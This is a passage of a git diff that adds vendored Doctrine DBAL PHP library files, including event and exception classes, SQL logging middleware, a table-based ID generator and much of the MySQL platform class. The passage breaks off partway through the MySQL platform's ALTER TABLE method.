+1,75 @@ +tableIndex = $tableIndex; + $this->table = $table; + $this->connection = $connection; + } + + /** + * Allows to clear the index which means the index will be excluded from tables index list. + * + * @return SchemaIndexDefinitionEventArgs + */ + public function setIndex(?Index $index = null) + { + $this->index = $index; + + return $this; + } + + /** @return Index|null */ + public function getIndex() + { + return $this->index; + } + + /** @return mixed[] */ + public function getTableIndex() + { + return $this->tableIndex; + } + + /** @return string */ + public function getTable() + { + return $this->table; + } + + /** @return Connection */ + public function getConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Event/TransactionBeginEventArgs.php b/vendor/doctrine/dbal/src/Event/TransactionBeginEventArgs.php new file mode 100644 index 000000000..be4ccdf15 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/TransactionBeginEventArgs.php @@ -0,0 +1,10 @@ +connection = $connection; + } + + public function getConnection(): Connection + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Event/TransactionRollBackEventArgs.php b/vendor/doctrine/dbal/src/Event/TransactionRollBackEventArgs.php new file mode 100644 index 000000000..9e6e650d8 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/TransactionRollBackEventArgs.php @@ -0,0 +1,10 @@ +getMessage(); + } else { + $message = 'An exception occurred in the driver: ' . $driverException->getMessage(); + } + + parent::__construct($message, $driverException->getCode(), $driverException); + + $this->query = $query; + } + + /** + * {@inheritDoc} + */ + public function getSQLState() + { + $previous = $this->getPrevious(); + assert($previous instanceof TheDriverException); + + return $previous->getSQLState(); + } + + public function getQuery(): ?Query + { + return $this->query; + } +} diff --git a/vendor/doctrine/dbal/src/Exception/ForeignKeyConstraintViolationException.php b/vendor/doctrine/dbal/src/Exception/ForeignKeyConstraintViolationException.php new file mode 100644 index 000000000..f1a612b21 --- /dev/null +++ b/vendor/doctrine/dbal/src/Exception/ForeignKeyConstraintViolationException.php @@ -0,0 +1,12 @@ +|array */ + private array $originalParameters; + + /** @var array|array */ + private array $originalTypes; + + private int $originalParameterIndex = 0; + + /** @var list */ + private array $convertedSQL = []; + + /** @var list */ + private array $convertedParameters = []; + + /** @var array */ + private array $convertedTypes = []; + + /** + * @param array|array $parameters + * @param array|array $types + */ + public function __construct(array $parameters, array $types) + { + $this->originalParameters = $parameters; + $this->originalTypes = $types; + } + + public function acceptPositionalParameter(string $sql): void + { + $index = $this->originalParameterIndex; + + if (! array_key_exists($index, $this->originalParameters)) { + throw MissingPositionalParameter::new($index); + } + + $this->acceptParameter($index, $this->originalParameters[$index]); + + $this->originalParameterIndex++; + } + + public function acceptNamedParameter(string $sql): void + { + $name = substr($sql, 1); + + if (! array_key_exists($name, $this->originalParameters)) { + throw MissingNamedParameter::new($name); + } + + $this->acceptParameter($name, $this->originalParameters[$name]); + } + + public function acceptOther(string $sql): void + { + $this->convertedSQL[] = $sql; + } + + public function getSQL(): string + { + return implode('', $this->convertedSQL); + } + + /** @return list */ + public function getParameters(): array + { + return $this->convertedParameters; + } + + /** + * @param int|string $key + * @param mixed $value + */ + private function acceptParameter($key, $value): void + { + if (! isset($this->originalTypes[$key])) { + $this->convertedSQL[] = '?'; + $this->convertedParameters[] = $value; + + return; + } + + $type = $this->originalTypes[$key]; + + if ( + $type !== ArrayParameterType::INTEGER + && $type !== ArrayParameterType::STRING + && $type !== ArrayParameterType::ASCII + && $type !== ArrayParameterType::BINARY + ) { + $this->appendTypedParameter([$value], $type); + + return; + } + + if (count($value) === 0) { + $this->convertedSQL[] = 'NULL'; + + return; + } + + $this->appendTypedParameter($value, ArrayParameterType::toElementParameterType($type)); + } + + /** @return array */ + public function getTypes(): array + { + return $this->convertedTypes; + } + + /** + * @param list $values + * @param Type|int|string|null $type + */ + private function appendTypedParameter(array $values, $type): void + { + $this->convertedSQL[] = implode(', ', array_fill(0, count($values), '?')); + + $index = count($this->convertedParameters); + + foreach ($values as $value) { + $this->convertedParameters[] = $value; + $this->convertedTypes[$index] = $type; + + $index++; + } + } +} diff --git a/vendor/doctrine/dbal/src/FetchMode.php b/vendor/doctrine/dbal/src/FetchMode.php new file mode 100644 index 000000000..d80719f25 --- /dev/null +++ b/vendor/doctrine/dbal/src/FetchMode.php @@ -0,0 +1,20 @@ +getDriver() instanceof Driver\PDO\SQLite\Driver) { + throw new Exception('Cannot use TableGenerator with SQLite.'); + } + + $this->conn = DriverManager::getConnection( + $conn->getParams(), + $conn->getConfiguration(), + $conn->getEventManager(), + ); + + $this->generatorTableName = $generatorTableName; + } + + /** + * Generates the next unused value for the given sequence name. + * + * @param string $sequence + * + * @return int + * + * @throws Exception + */ + public function nextValue($sequence) + { + if (isset($this->sequences[$sequence])) { + $value = $this->sequences[$sequence]['value']; + $this->sequences[$sequence]['value']++; + if ($this->sequences[$sequence]['value'] >= $this->sequences[$sequence]['max']) { + unset($this->sequences[$sequence]); + } + + return $value; + } + + $this->conn->beginTransaction(); + + try { + $platform = $this->conn->getDatabasePlatform(); + $sql = 'SELECT sequence_value, sequence_increment_by' + . ' FROM ' . $platform->appendLockHint($this->generatorTableName, LockMode::PESSIMISTIC_WRITE) + . ' WHERE sequence_name = ? ' . $platform->getWriteLockSQL(); + $row = $this->conn->fetchAssociative($sql, [$sequence]); + + if ($row !== false) { + $row = array_change_key_case($row, CASE_LOWER); + + $value = $row['sequence_value']; + $value++; + + assert(is_int($value)); + + if ($row['sequence_increment_by'] > 1) { + $this->sequences[$sequence] = [ + 'value' => $value, + 'max' => $row['sequence_value'] + $row['sequence_increment_by'], + ]; + } + + $sql = 'UPDATE ' . $this->generatorTableName . ' ' . + 'SET sequence_value = sequence_value + sequence_increment_by ' . + 'WHERE sequence_name = ? AND sequence_value = ?'; + $rows = $this->conn->executeStatement($sql, [$sequence, $row['sequence_value']]); + + if ($rows !== 1) { + throw new Exception('Race-condition detected while updating sequence. Aborting generation'); + } + } else { + $this->conn->insert( + $this->generatorTableName, + ['sequence_name' => $sequence, 'sequence_value' => 1, 'sequence_increment_by' => 1], + ); + $value = 1; + } + + $this->conn->commit(); + } catch (Throwable $e) { + $this->conn->rollBack(); + + throw new Exception( + 'Error occurred while generating ID with TableGenerator, aborted generation: ' . $e->getMessage(), + 0, + $e, + ); + } + + return $value; + } +} diff --git a/vendor/doctrine/dbal/src/Id/TableGeneratorSchemaVisitor.php b/vendor/doctrine/dbal/src/Id/TableGeneratorSchemaVisitor.php new file mode 100644 index 000000000..75c9fe9cf --- /dev/null +++ b/vendor/doctrine/dbal/src/Id/TableGeneratorSchemaVisitor.php @@ -0,0 +1,77 @@ +generatorTableName = $generatorTableName; + } + + /** + * {@inheritDoc} + */ + public function acceptSchema(Schema $schema) + { + $table = $schema->createTable($this->generatorTableName); + $table->addColumn('sequence_name', 'string'); + $table->addColumn('sequence_value', 'integer', ['default' => 1]); + $table->addColumn('sequence_increment_by', 'integer', ['default' => 1]); + } + + /** + * {@inheritDoc} + */ + public function acceptTable(Table $table) + { + } + + /** + * {@inheritDoc} + */ + public function acceptColumn(Table $table, Column $column) + { + } + + /** + * {@inheritDoc} + */ + public function acceptForeignKey(Table $localTable, ForeignKeyConstraint $fkConstraint) + { + } + + /** + * {@inheritDoc} + */ + public function acceptIndex(Table $table, Index $index) + { + } + + /** + * {@inheritDoc} + */ + public function acceptSequence(Sequence $sequence) + { + } +} diff --git a/vendor/doctrine/dbal/src/LockMode.php b/vendor/doctrine/dbal/src/LockMode.php new file mode 100644 index 000000000..1a7ed2397 --- /dev/null +++ b/vendor/doctrine/dbal/src/LockMode.php @@ -0,0 +1,23 @@ +logger = $logger; + } + + public function __destruct() + { + $this->logger->info('Disconnecting'); + } + + public function prepare(string $sql): DriverStatement + { + return new Statement( + parent::prepare($sql), + $this->logger, + $sql, + ); + } + + public function query(string $sql): Result + { + $this->logger->debug('Executing query: {sql}', ['sql' => $sql]); + + return parent::query($sql); + } + + public function exec(string $sql): int + { + $this->logger->debug('Executing statement: {sql}', ['sql' => $sql]); + + return parent::exec($sql); + } + + /** + * {@inheritDoc} + */ + public function beginTransaction() + { + $this->logger->debug('Beginning transaction'); + + return parent::beginTransaction(); + } + + /** + * {@inheritDoc} + */ + public function commit() + { + $this->logger->debug('Committing transaction'); + + return parent::commit(); + } + + /** + * {@inheritDoc} + */ + public function rollBack() + { + $this->logger->debug('Rolling back transaction'); + + return parent::rollBack(); + } +} diff --git a/vendor/doctrine/dbal/src/Logging/DebugStack.php b/vendor/doctrine/dbal/src/Logging/DebugStack.php new file mode 100644 index 000000000..1a970d060 --- /dev/null +++ b/vendor/doctrine/dbal/src/Logging/DebugStack.php @@ -0,0 +1,75 @@ +> + */ + public $queries = []; + + /** + * If Debug Stack is enabled (log queries) or not. + * + * @var bool + */ + public $enabled = true; + + /** @var float|null */ + public $start = null; + + /** @var int */ + public $currentQuery = 0; + + public function __construct() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4967', + 'DebugStack is deprecated.', + ); + } + + /** + * {@inheritDoc} + */ + public function startQuery($sql, ?array $params = null, ?array $types = null) + { + if (! $this->enabled) { + return; + } + + $this->start = microtime(true); + + $this->queries[++$this->currentQuery] = [ + 'sql' => $sql, + 'params' => $params, + 'types' => $types, + 'executionMS' => 0, + ]; + } + + /** + * {@inheritDoc} + */ + public function stopQuery() + { + if (! $this->enabled) { + return; + } + + $this->queries[$this->currentQuery]['executionMS'] = microtime(true) - $this->start; + } +} diff --git a/vendor/doctrine/dbal/src/Logging/Driver.php b/vendor/doctrine/dbal/src/Logging/Driver.php new file mode 100644 index 000000000..32a5cd2c2 --- /dev/null +++ b/vendor/doctrine/dbal/src/Logging/Driver.php @@ -0,0 +1,58 @@ +logger = $logger; + } + + /** + * {@inheritDoc} + */ + public function connect( + #[SensitiveParameter] + array $params + ) { + $this->logger->info('Connecting with parameters {params}', ['params' => $this->maskPassword($params)]); + + return new Connection( + parent::connect($params), + $this->logger, + ); + } + + /** + * @param array $params Connection parameters + * + * @return array + */ + private function maskPassword( + #[SensitiveParameter] + array $params + ): array { + if (isset($params['password'])) { + $params['password'] = ''; + } + + if (isset($params['url'])) { + $params['url'] = ''; + } + + return $params; + } +} diff --git a/vendor/doctrine/dbal/src/Logging/LoggerChain.php b/vendor/doctrine/dbal/src/Logging/LoggerChain.php new file mode 100644 index 000000000..7a4eaa49a --- /dev/null +++ b/vendor/doctrine/dbal/src/Logging/LoggerChain.php @@ -0,0 +1,48 @@ + */ + private iterable $loggers; + + /** @param iterable $loggers */ + public function __construct(iterable $loggers = []) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4967', + 'LoggerChain is deprecated', + ); + + $this->loggers = $loggers; + } + + /** + * {@inheritDoc} + */ + public function startQuery($sql, ?array $params = null, ?array $types = null) + { + foreach ($this->loggers as $logger) { + $logger->startQuery($sql, $params, $types); + } + } + + /** + * {@inheritDoc} + */ + public function stopQuery() + { + foreach ($this->loggers as $logger) { + $logger->stopQuery(); + } + } +} diff --git a/vendor/doctrine/dbal/src/Logging/Middleware.php b/vendor/doctrine/dbal/src/Logging/Middleware.php new file mode 100644 index 000000000..da0c1b90f --- /dev/null +++ b/vendor/doctrine/dbal/src/Logging/Middleware.php @@ -0,0 +1,24 @@ +logger = $logger; + } + + public function wrap(DriverInterface $driver): DriverInterface + { + return new Driver($driver, $this->logger); + } +} diff --git a/vendor/doctrine/dbal/src/Logging/SQLLogger.php b/vendor/doctrine/dbal/src/Logging/SQLLogger.php new file mode 100644 index 000000000..dab4a3a7d --- /dev/null +++ b/vendor/doctrine/dbal/src/Logging/SQLLogger.php @@ -0,0 +1,32 @@ +|array|null $params Statement parameters + * @param array|array|null $types Parameter types + * + * @return void + */ + public function startQuery($sql, ?array $params = null, ?array $types = null); + + /** + * Marks the last started query as stopped. This can be used for timing of queries. + * + * @return void + */ + public function stopQuery(); +} diff --git a/vendor/doctrine/dbal/src/Logging/Statement.php b/vendor/doctrine/dbal/src/Logging/Statement.php new file mode 100644 index 000000000..039b93b6a --- /dev/null +++ b/vendor/doctrine/dbal/src/Logging/Statement.php @@ -0,0 +1,100 @@ +|array */ + private array $params = []; + + /** @var array|array */ + private array $types = []; + + /** @internal This statement can be only instantiated by its connection. */ + public function __construct(StatementInterface $statement, LoggerInterface $logger, string $sql) + { + parent::__construct($statement); + + $this->logger = $logger; + $this->sql = $sql; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + $this->params[$param] = &$variable; + $this->types[$param] = $type; + + return parent::bindParam($param, $variable, $type, ...array_slice(func_get_args(), 3)); + } + + /** + * {@inheritDoc} + */ + public function bindValue($param, $value, $type = ParameterType::STRING) + { + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + $this->params[$param] = $value; + $this->types[$param] = $type; + + return parent::bindValue($param, $value, $type); + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + $this->logger->debug('Executing statement: {sql} (parameters: {params}, types: {types})', [ + 'sql' => $this->sql, + 'params' => $params ?? $this->params, + 'types' => $this->types, + ]); + + return parent::execute($params); + } +} diff --git a/vendor/doctrine/dbal/src/ParameterType.php b/vendor/doctrine/dbal/src/ParameterType.php new file mode 100644 index 000000000..77917e870 --- /dev/null +++ b/vendor/doctrine/dbal/src/ParameterType.php @@ -0,0 +1,57 @@ + 0) { + $query .= sprintf(' OFFSET %d', $offset); + } + } elseif ($offset > 0) { + // 2^64-1 is the maximum of unsigned BIGINT, the biggest limit possible + $query .= sprintf(' LIMIT 18446744073709551615 OFFSET %d', $offset); + } + + return $query; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see quoteIdentifier()} to quote identifiers instead. + */ + public function getIdentifierQuoteCharacter() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5388', + 'AbstractMySQLPlatform::getIdentifierQuoteCharacter() is deprecated. Use quoteIdentifier() instead.', + ); + + return '`'; + } + + /** + * {@inheritDoc} + */ + public function getRegexpExpression() + { + return 'RLIKE'; + } + + /** + * {@inheritDoc} + */ + public function getLocateExpression($str, $substr, $startPos = false) + { + if ($startPos === false) { + return 'LOCATE(' . $substr . ', ' . $str . ')'; + } + + return 'LOCATE(' . $substr . ', ' . $str . ', ' . $startPos . ')'; + } + + /** + * {@inheritDoc} + */ + public function getConcatExpression() + { + return sprintf('CONCAT(%s)', implode(', ', func_get_args())); + } + + /** + * {@inheritDoc} + */ + protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) + { + $function = $operator === '+' ? 'DATE_ADD' : 'DATE_SUB'; + + return $function . '(' . $date . ', INTERVAL ' . $interval . ' ' . $unit . ')'; + } + + /** + * {@inheritDoc} + */ + public function getDateDiffExpression($date1, $date2) + { + return 'DATEDIFF(' . $date1 . ', ' . $date2 . ')'; + } + + public function getCurrentDatabaseExpression(): string + { + return 'DATABASE()'; + } + + /** + * {@inheritDoc} + */ + public function getLengthExpression($column) + { + return 'CHAR_LENGTH(' . $column . ')'; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListDatabasesSQL() + { + return 'SHOW DATABASES'; + } + + /** + * @deprecated + * + * {@inheritDoc} + */ + public function getListTableConstraintsSQL($table) + { + return 'SHOW INDEX FROM ' . $table; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + * + * Two approaches to listing the table indexes. The information_schema is + * preferred, because it doesn't cause problems with SQL keywords such as "order" or "table". + */ + public function getListTableIndexesSQL($table, $database = null) + { + if ($database !== null) { + return 'SELECT NON_UNIQUE AS Non_Unique, INDEX_NAME AS Key_name, COLUMN_NAME AS Column_Name,' . + ' SUB_PART AS Sub_Part, INDEX_TYPE AS Index_Type' . + ' FROM information_schema.STATISTICS WHERE TABLE_NAME = ' . $this->quoteStringLiteral($table) . + ' AND TABLE_SCHEMA = ' . $this->quoteStringLiteral($database) . + ' ORDER BY SEQ_IN_INDEX ASC'; + } + + return 'SHOW INDEX FROM ' . $table; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListViewsSQL($database) + { + return 'SELECT * FROM information_schema.VIEWS WHERE TABLE_SCHEMA = ' . $this->quoteStringLiteral($database); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @param string $table + * @param string|null $database + * + * @return string + */ + public function getListTableForeignKeysSQL($table, $database = null) + { + // The schema name is passed multiple times as a literal in the WHERE clause instead of using a JOIN condition + // in order to avoid performance issues on MySQL older than 8.0 and the corresponding MariaDB versions + // caused by https://bugs.mysql.com/bug.php?id=81347 + return 'SELECT k.CONSTRAINT_NAME, k.COLUMN_NAME, k.REFERENCED_TABLE_NAME, ' . + 'k.REFERENCED_COLUMN_NAME /*!50116 , c.UPDATE_RULE, c.DELETE_RULE */ ' . + 'FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE k /*!50116 ' . + 'INNER JOIN INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS c ON ' . + 'c.CONSTRAINT_NAME = k.CONSTRAINT_NAME AND ' . + 'c.TABLE_NAME = k.TABLE_NAME */ ' . + 'WHERE k.TABLE_NAME = ' . $this->quoteStringLiteral($table) . ' ' . + 'AND k.TABLE_SCHEMA = ' . $this->getDatabaseNameSQL($database) . ' /*!50116 ' . + 'AND c.CONSTRAINT_SCHEMA = ' . $this->getDatabaseNameSQL($database) . ' */' . + 'ORDER BY k.ORDINAL_POSITION'; + } + + /** + * {@inheritDoc} + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default string column length on MySQL is deprecated' + . ', specify the length explicitly.', + ); + } + + return $fixed ? ($length > 0 ? 'CHAR(' . $length . ')' : 'CHAR(255)') + : ($length > 0 ? 'VARCHAR(' . $length . ')' : 'VARCHAR(255)'); + } + + /** + * {@inheritDoc} + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed/*, $lengthOmitted = false*/) + { + if ($length <= 0 || (func_num_args() > 2 && func_get_arg(2))) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length on MySQL is deprecated' + . ', specify the length explicitly.', + ); + } + + return $fixed + ? 'BINARY(' . ($length > 0 ? $length : 255) . ')' + : 'VARBINARY(' . ($length > 0 ? $length : 255) . ')'; + } + + /** + * Gets the SQL snippet used to declare a CLOB column type. + * TINYTEXT : 2 ^ 8 - 1 = 255 + * TEXT : 2 ^ 16 - 1 = 65535 + * MEDIUMTEXT : 2 ^ 24 - 1 = 16777215 + * LONGTEXT : 2 ^ 32 - 1 = 4294967295 + * + * {@inheritDoc} + */ + public function getClobTypeDeclarationSQL(array $column) + { + if (! empty($column['length']) && is_numeric($column['length'])) { + $length = $column['length']; + + if ($length <= static::LENGTH_LIMIT_TINYTEXT) { + return 'TINYTEXT'; + } + + if ($length <= static::LENGTH_LIMIT_TEXT) { + return 'TEXT'; + } + + if ($length <= static::LENGTH_LIMIT_MEDIUMTEXT) { + return 'MEDIUMTEXT'; + } + } + + return 'LONGTEXT'; + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + if (isset($column['version']) && $column['version'] === true) { + return 'TIMESTAMP'; + } + + return 'DATETIME'; + } + + /** + * {@inheritDoc} + */ + public function getDateTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + public function getTimeTypeDeclarationSQL(array $column) + { + return 'TIME'; + } + + /** + * {@inheritDoc} + */ + public function getBooleanTypeDeclarationSQL(array $column) + { + return 'TINYINT(1)'; + } + + /** + * {@inheritDoc} + * + * @deprecated + * + * MySQL prefers "autoincrement" identity columns since sequences can only + * be emulated with a table. + */ + public function prefersIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/1519', + 'AbstractMySQLPlatform::prefersIdentityColumns() is deprecated.', + ); + + return true; + } + + /** + * {@inheritDoc} + * + * MySQL supports this through AUTO_INCREMENT columns. + */ + public function supportsIdentityColumns() + { + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsInlineColumnComments() + { + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsColumnCollation() + { + return true; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTablesSQL() + { + return "SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"; + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableColumnsSQL($table, $database = null) + { + return 'SELECT COLUMN_NAME AS Field, COLUMN_TYPE AS Type, IS_NULLABLE AS `Null`, ' . + 'COLUMN_KEY AS `Key`, COLUMN_DEFAULT AS `Default`, EXTRA AS Extra, COLUMN_COMMENT AS Comment, ' . + 'CHARACTER_SET_NAME AS CharacterSet, COLLATION_NAME AS Collation ' . + 'FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = ' . $this->getDatabaseNameSQL($database) . + ' AND TABLE_NAME = ' . $this->quoteStringLiteral($table) . + ' ORDER BY ORDINAL_POSITION ASC'; + } + + /** + * The SQL snippets required to elucidate a column type + * + * Returns an array of the form [column type SELECT snippet, additional JOIN statement snippet] + * + * @return array{string, string} + */ + public function getColumnTypeSQLSnippets(string $tableAlias = 'c'): array + { + return [$tableAlias . '.COLUMN_TYPE', '']; + } + + /** @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. */ + public function getListTableMetadataSQL(string $table, ?string $database = null): string + { + return sprintf( + <<<'SQL' +SELECT t.ENGINE, + t.AUTO_INCREMENT, + t.TABLE_COMMENT, + t.CREATE_OPTIONS, + t.TABLE_COLLATION, + ccsa.CHARACTER_SET_NAME +FROM information_schema.TABLES t + INNER JOIN information_schema.`COLLATION_CHARACTER_SET_APPLICABILITY` ccsa + ON ccsa.COLLATION_NAME = t.TABLE_COLLATION +WHERE TABLE_TYPE = 'BASE TABLE' AND TABLE_SCHEMA = %s AND TABLE_NAME = %s +SQL + , + $this->getDatabaseNameSQL($database), + $this->quoteStringLiteral($table), + ); + } + + /** + * {@inheritDoc} + */ + public function getCreateTablesSQL(array $tables): array + { + $sql = []; + + foreach ($tables as $table) { + $sql = array_merge($sql, $this->getCreateTableWithoutForeignKeysSQL($table)); + } + + foreach ($tables as $table) { + if (! $table->hasOption('engine') || $this->engineSupportsForeignKeys($table->getOption('engine'))) { + foreach ($table->getForeignKeys() as $foreignKey) { + $sql[] = $this->getCreateForeignKeySQL( + $foreignKey, + $table->getQuotedName($this), + ); + } + } elseif (count($table->getForeignKeys()) > 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5414', + 'Relying on the DBAL not generating DDL for foreign keys on MySQL engines' + . ' other than InnoDB is deprecated.' + . ' Define foreign key constraints only if they are necessary.', + ); + } + } + + return $sql; + } + + /** + * {@inheritDoc} + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $queryFields = $this->getColumnDeclarationListSQL($columns); + + if (isset($options['uniqueConstraints']) && ! empty($options['uniqueConstraints'])) { + foreach ($options['uniqueConstraints'] as $constraintName => $definition) { + $queryFields .= ', ' . $this->getUniqueConstraintDeclarationSQL($constraintName, $definition); + } + } + + // add all indexes + if (isset($options['indexes']) && ! empty($options['indexes'])) { + foreach ($options['indexes'] as $indexName => $definition) { + $queryFields .= ', ' . $this->getIndexDeclarationSQL($indexName, $definition); + } + } + + // attach all primary keys + if (isset($options['primary']) && ! empty($options['primary'])) { + $keyColumns = array_unique(array_values($options['primary'])); + $queryFields .= ', PRIMARY KEY(' . implode(', ', $keyColumns) . ')'; + } + + $query = 'CREATE '; + + if (! empty($options['temporary'])) { + $query .= 'TEMPORARY '; + } + + $query .= 'TABLE ' . $name . ' (' . $queryFields . ') '; + $query .= $this->buildTableOptions($options); + $query .= $this->buildPartitionOptions($options); + + $sql = [$query]; + + // Propagate foreign key constraints only for InnoDB. + if (isset($options['foreignKeys'])) { + if (! isset($options['engine']) || $this->engineSupportsForeignKeys($options['engine'])) { + foreach ($options['foreignKeys'] as $definition) { + $sql[] = $this->getCreateForeignKeySQL($definition, $name); + } + } elseif (count($options['foreignKeys']) > 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5414', + 'Relying on the DBAL not generating DDL for foreign keys on MySQL engines' + . ' other than InnoDB is deprecated.' + . ' Define foreign key constraints only if they are necessary.', + ); + } + } + + return $sql; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getDefaultValueDeclarationSQL($column) + { + // Unset the default value if the given column definition does not allow default values. + if ($column['type'] instanceof TextType || $column['type'] instanceof BlobType) { + $column['default'] = null; + } + + return parent::getDefaultValueDeclarationSQL($column); + } + + /** + * Build SQL for table options + * + * @param mixed[] $options + */ + private function buildTableOptions(array $options): string + { + if (isset($options['table_options'])) { + return $options['table_options']; + } + + $tableOptions = []; + + // Charset + if (! isset($options['charset'])) { + $options['charset'] = 'utf8'; + } + + $tableOptions[] = sprintf('DEFAULT CHARACTER SET %s', $options['charset']); + + if (isset($options['collate'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5214', + 'The "collate" option is deprecated in favor of "collation" and will be removed in 4.0.', + ); + $options['collation'] = $options['collate']; + } + + // Collation + if (! isset($options['collation'])) { + $options['collation'] = $options['charset'] . '_unicode_ci'; + } + + $tableOptions[] = $this->getColumnCollationDeclarationSQL($options['collation']); + + // Engine + if (! isset($options['engine'])) { + $options['engine'] = 'InnoDB'; + } + + $tableOptions[] = sprintf('ENGINE = %s', $options['engine']); + + // Auto increment + if (isset($options['auto_increment'])) { + $tableOptions[] = sprintf('AUTO_INCREMENT = %s', $options['auto_increment']); + } + + // Comment + if (isset($options['comment'])) { + $tableOptions[] = sprintf('COMMENT = %s ', $this->quoteStringLiteral($options['comment'])); + } + + // Row format + if (isset($options['row_format'])) { + $tableOptions[] = sprintf('ROW_FORMAT = %s', $options['row_format']); + } + + return implode(' ', $tableOptions); + } + + /** + * Build SQL for partition options. + * + * @param mixed[] $options + */ + private function buildPartitionOptions(array $options): string + { + return isset($options['partition_options']) + ? ' ' . $options['partition_options'] + : ''; + } + + private function engineSupportsForeignKeys(string $engine): bool + { + return strcasecmp(trim($engine), 'InnoDB') === 0; + } + + /** + * {@inheritDoc} + */ + public function getAlterTableSQL(TableDiff $diff) + { + $columnSql = []; + $queryParts = []; + $newName = $diff->getNewName(); + + if ($newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of SQL that renames a table using %s is deprecated. Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $queryParts[] = 'RENAME TO ' . $newName->getQuotedName($this); + } + + foreach ($diff->getAddedColumns() as $column) { + if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { + continue; + } + + $columnProperties = array_merge($column->toArray(), [ + 'comment' => $this->getColumnComment($column), + ]); + + $queryParts[] = 'ADD ' . $this->getColumnDeclarationSQL( + $column->getQuotedName($this), + $columnProperties, + ); + } + + foreach ($diff->getDroppedColumns() as $column) { + if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { + continue; + } + + $queryParts[] = 'DROP ' . $column->getQuotedName($this); + } + + foreach ($diff->getModifiedColumns() as $columnDiff) { + if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { + continue; + } + + $newColumn = $columnDiff->getNewColumn(); + + $newColumnProperties = array_merge($newColumn->toArray(), [ + 'comment' => $this->getColumnComment($newColumn), + ]); + + $oldColumn = $columnDiff->getOldColumn() ?? $columnDiff->getOldColumnName(); + + $queryParts[] = 'CHANGE ' . $oldColumn->getQuotedName($this) . ' ' + . $this->getColumnDeclarationSQL($newColumn->getQuotedName($this), $newColumnProperties); + } + + foreach ($diff->getRenamedColumns() as $oldColumnName => $column) { + if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { + continue; + } + + $oldColumnName = new Identifier($oldColumnName); + + $columnProperties = array_merge($column->toArray(), [ + 'comment' => $this->getColumnComment($column), + ]); + + $queryParts[] = 'CHANGE ' . $oldColumnName->getQuotedName($this) . ' ' + . $this->getColumnDeclarationSQL($column->getQuotedName($this), $columnProperties); + } + + $addedIndexes = $this->indexAssetsByLowerCaseName($diff->getAddedIndexes()); + $modifiedIndexes = $this->indexAssetsByLowerCaseName($diff->getModifiedIndexes()); + $diffModified = false; + + if (isset($addedIndexes['primary'])) { + $keyColumns = 